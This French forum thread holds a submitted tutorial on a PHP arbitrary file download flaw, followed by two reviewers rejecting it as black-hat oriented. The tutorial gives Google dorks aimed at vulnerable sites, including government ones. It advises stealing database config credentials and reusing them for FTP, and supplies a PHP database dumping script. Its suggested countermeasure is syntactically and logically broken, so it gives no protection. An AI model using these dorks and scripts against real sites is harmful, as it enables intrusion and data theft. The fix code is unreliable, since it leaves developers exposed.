logo Homepage
Pages: [1]
  Imprimer  
Auteur Fil de discussion: [rejeté] [HACKING / SECURITE] Faille EXCLUDE  (Lu 1815 fois)
d@rkor
Profil challenge

Classement : 12447/54318

Néophyte
*
Hors ligne Hors ligne
Messages: 3


Voir le profil
« le: 02 Février 2008 à 19:17:52 »

WEB - PHP
La faille EXCLUDE
- - - - - - - - -
Version: 1.0, Scoder.
- - - - - - - - -

 1° INTRO.
 2° Explication
 3° Recherche
 4° Exploiatation
 5° Conclusion

-
1° INTRO.

  Le CyberEspace regorge de failles en tout genres et à tous les niveaux, certe. Ici, nous allons
parler uniquement d'une faille Web PHP qui concerne tous les scripts d'envoie de fichiers non
contrôlés, et présente sur environ 60% des systèmes permettant à un script de manipuler les
headers HTTP dans l'objectif d'envoyer un fichier.

-
2° Explication

  Cette faille peut être appellée la faille Exclude, car, contrairement à la vulnérabilité Include,
elle permet non pas d'inclure un fichier sur une page, mais de recevoir le fichier de son choix
en provenance du serveur atteint. Il suffit simplement de modifier les paramètres de l'URL
(comme la faille Include), ou de modifier la valeur d'une variable HTML de type 'HIDDEN', cela
dépend du script et de la façon de demander un fichier. Le script PHP procède comme ceci:

- - - [C U T   H E R E] - - -

<?

echo $filename;
header("Content-type: application/force-download");
header("Content-Disposition: attachment; filename=".$filename);
readfile($filename);

?>

- - - [C U T   H E R E] - - -

  Ici, le problème est que le script ouvre le fichier puis nous envoie son contenu, ce qui fait que l'on peut
télécharger les codes PHP sans qu'ils soient interprétés par le serveur. De plus,
aucun contrôle n'est efféctué sur le nom du fichier passé en paramètre.
Ainsi, il est possible de télécharger tout fichier, à condition qu'il soit possible au deamon web
d'y accèder en lecture, et bien sur de connaître l'emplacement exact des fichiers à obtenir.

La contre-mesure serait donc:

- - - [C U T   H E R E] - - -

<?

echo $filename;
if($filename[0]=='/' || $filename[0]=='\') die "Error !";
$filename=str_replace($filename, "..", "./");
header("Content-type: application/force-download");
header("Content-Disposition: attachment; filename=".$filename);
readfile($filename);

?>

- - - [C U T   H E R E] - - -

-
4° Recherche

  Le moyen le plus éfficace pour trouver des sites vulnérables est Google. En effet, ce
Meta-Searcher recense tous les liens, quels qu'ils soient.
  Par exemple:

RECHERCHE GOOGLE: inurl:download.php? inurl:file= "errno = 2"

Thèrmes: inurl:download.php?    -> Dans l'url un script de download, prenant un argument.
         inurl:file=            -> Si possible, le nom d'un fichier légitime, toujours dans l'url.
         "errno=2"              -> Erreur de script pour le téléchargement d'un fichier légitime,
                                   comme ça, je constate que les admins n'ont pas prévus de parade,
                                   et de plus, j'ai une idée de l'endroit où est ce script,
                                   ce qui me permet de me repérer dans l'arborescence.

Si je veux atteindre un type de site précis, je tape en plus: site:.com ou encore site:.org, etc...
Tapez: inurl:download.php? inurl:file= inurl:.gov , vous aurez des (bonnes) surprises...  ;-)

-
5° Exploitation

  Cette faille permet donc d'obtenir tous les fichiers que le deamon peut lire (même /etc/passwd)
mais la meilleur exploitation possible, je pense, est de télécharger le script PHP de connexion
à la base de données (s'il y en a une), comme ça vous aurez tous les droits possibles dessus,
mais en plus, je dirais que à l'heure actuelle (2007), 40% des serveurs utilisent les mêmes mots
de passes pour SQL et FTP  ;-). Ci dessous, un script en PHP vous permettant de télécharger la
basse de donnée MySQL d'un site en fonction des codes récupérés:

- - - [C U T   H E R E] - - -

<?
/*
 * MySQL Database Viewer/Downloader - V0.1, $coder 2007.
 * ---------------------|------|------------------------
 *    Parameters        |Values|
 * ---------------------|------|------------------------
 *              opt        1        stock on a local file
 *                                  the result, and force
 *                                  the HTTP download.
 * ---------------------|------|------------------------
 *      datab             "db"      The db name
 * ---------------------|------|------------------------
 *           query       "query"    Execute the query
 * ---------------------|------|------------------------
 *          host         "host"     The host name
 * ---------------------|------|------------------------
 *         user          "user"     The user name
 * ---------------------|------|------------------------
 *          password     "pwd"      The db password
 * ---------------------|------|------------------------
 *          tmp_f       "fname"     The tmp_fname
 * -----------------------------------------------------
 */

$opt       = $_REQUEST['opt'];
$query     = $_REQUEST['query'];
$dbn       = $_REQUEST['datab'];

$host  =  $_REQUEST['host'];
$user  =  $_REQUEST['user'];
$pass  =  $_REQUEST['passwd'];

$tmp_f =  $_REQUEST['tmp_f'];

?>

<p><b><font size="4" face="Courier New">Welcome to the DataBase Viewer/Downloader</font></b></p><br>

<?
/* Ici, on part du principe que $text est deja sous forme convenable (balises, etc...)
 */
function _Out($text)
{
   if($opt!=1)
   {
      echo $text;
      echo "<br>";
   }
   else
   {
      if($tmp_f)
      {
         $fp=fopen($tmp_f, "w");
         echo "<b>-></b> Ouverture du fichier <b>".$tmp_f."</b>...<br>";
      }else{
         $fp=fopen("tmpf.tmp", "w");
         echo "<b>-></b> Ouverture du fichier...<br>";
      };
      echo "<b>Ecriture en cours...</b><br>";
      fputs($fp, $text);
      fclose($fp);

      if($tmp_f)
      {
?>
<b><a href="<? echo $tmp_f ?>">cliquez ici</a></b><br>
<?
       }
      else
      {
?>
<b><a href="tmpf.tmp">cliquez ici</a></b><br>
<?
       };
   };
}

$conn = mysql_connect($host, $user, $pass) or die(mysql_error());
if($dbn){
mysql_select_db($dbn, $conn) or die(mysql_error());
}
else
{
  $result = mysql_list_dbs($conn);
   $txt.="<table>\n";
   while ($line = mysql_fetch_assoc($result))
      {
         $txt.="\t<tr>\n";
         foreach ($line as $col_value) {
            $txt.="\t\t<td>$col_value</td>\n";
         }
         $txt.="\t</tr>\n";
      }
   $txt.="</table>\n";
      _Out($txt);
};

$txt="<html>";
if($query!="" && $dbn!="")
{
   $result = mysql_query($query) or die(mysql_error());
   $txt.="<table>\n";
   while ($line = mysql_fetch_assoc($result))
      {
         $txt.="\t<tr>\n";
         foreach ($line as $col_value) {
            $txt.="\t\t<td>$col_value</td>\n";
         }
         $txt.="\t</tr>\n";
      }
   $txt.="</table>\n";
}
else
{
   echo "<b>Entrez une requete valide !</b><br>";
};

_Out($txt);
mysql_free_result($result);
mysql_close($conn);

?>

- - - [C U T   H E R E] - - -

-
6° Conclusion

  La faille exclude est très fréquentes, même sur certains sites gouvernementaux, mais n'est pas très connue
des administrateurs, de plus, elle est facilement exploitable pur **orthographe !** qui a un minimum de connaissance
en programmation Web. C'est donc une faille dangereuse, facile à dépister avec Google, dont, je l'espère,
ce tutorial vous aura été utile si vous avez ce genre de problèmes.

Scoder.
« Dernière édition: 11 Mai 2009 à 22:19:08 par the lsd » Journalisée
Mr_KaLiMaN
Relecteur

Profil challenge

Classement : 64/54318

Membre Senior
*
Hors ligne Hors ligne
Messages: 426


Voir le profil WWW
« #1 le: 02 Février 2008 à 22:10:16 »

Personnellement je suis pas pour, désolé.
Je vais quand même m'expliquer :

L'idée est pas mauvaise, on en parle peu effectivement.

Maintenant, les critiques

Citation de: d@rkor

WEB - PHP
La faille EXCLUDE
On en parle plus comme de faille "download" non ? En tout cas le mot "exclude" me semble peu approprié.

Citation de: d@rkor
Le CyberEspace regorge de failles en tout genres et à tous les niveaux, certe.
"Le CyberEspace" euh... c'est beau mais bon...

Citation de: d@rkor
présente sur environ 60% des systèmes permettant à un script de manipuler les headers HTTP dans l'objectif d'envoyer un fichier.
60% ? Tu as fais des stats personnellement ? Tu as des sources ?

Citation de: d@rkor
Il suffit simplement de modifier les paramètres de l'URL (comme la faille Include), ou de modifier la valeur d'une variable HTML de type 'HIDDEN', cela dépend du script et de la façon de demander un fichier.

Comme tu le dis, ça dépend du script etc...
Donc il suffit pas de faire l'un ou l'autre uniquement.


Citation de: d@rkor

- - - [C U T   H E R E] - - -

<?

echo $filename;
header("Content-type: application/force-download");
header("Content-Disposition: attachment; filename=".$filename);
readfile($filename);

?>

- - - [C U T   H E R E] - - -

  Ici, le problème est que le script ouvre le fichier puis nous envoie son contenu, ce qui fait que l'on peut
télécharger les codes PHP sans qu'ils soient interprétés par le serveur. De plus,
aucun contrôle n'est efféctué sur le nom du fichier passé en paramètre.
Ainsi, il est possible de télécharger tout fichier, à condition qu'il soit possible au deamon web
d'y accèder en lecture, et bien sur de connaître l'emplacement exact des fichiers à obtenir.

La contre-mesure serait donc:

- - - [C U T   H E R E] - - -

<?

echo $filename;
if($filename[0]=='/' || $filename[0]=='\') die "Error !";
$filename=str_replace($filename, "..", "./");
header("Content-type: application/force-download");
header("Content-Disposition: attachment; filename=".$filename);
readfile($filename);

?>

Il serait bien que tu expliques pourquoi ta contre-mesure serait efficace par exemple.

Citation de: d@rkor

-
4° Recherche
[...]

5° Exploitation

[...]


6° Conclusion

  La faille exclude est très fréquentes, même sur certains sites gouvernementaux, mais n'est pas très connue
des administrateurs, de plus, elle est facilement exploitable pur **orthographe !** qui a un minimum de connaissance
en programmation Web. C'est donc une faille dangereuse, facile à dépister avec Google, dont, je l'espère,
ce tutorial vous aura été utile si vous avez ce genre de problèmes.

Clairement orienté Black...




Voilà mon avis pour le moment.
Journalisée
the lsd
Administrateur

Profil challenge

Classement : 190/54318

Membre Héroïque
*****
Hors ligne Hors ligne
Messages: 3096

poulping for fun & profit


Voir le profil WWW
« #2 le: 03 Février 2008 à 20:02:44 »

Sur le plan de la forme, le tuto est pas bon du tout.
le coup du CUT HERE, le code php qu in'est pas dans la balise apropriée du SMF, les fautes d'orthographe... (la liste est longue).

Comme le dit Mr_K, c'est orienté black, si tu veux qu'il y soit moins a mon avis, il faudrait virer tout le code de récupération de base de donné, mais pour le coup, le tuto serait un peu trop petit.

A mon avis, ce paper ne devrait etre qu'une partie d'un tuto plus généraliste.

Pour l'instant, je suis contre aussi (bien evidemment ce n'est pas forcement définitif)

Enjoy

The lsd
Journalisée

Newbie Contest Staff :
The lsd - Th3_l5D (IRC)
Statut :
Administrateur
Citation :
Cartésien désabusé : je pense, donc je suis, mais je m'en fous !
Pages: [1]
  Imprimer  
 
Aller à: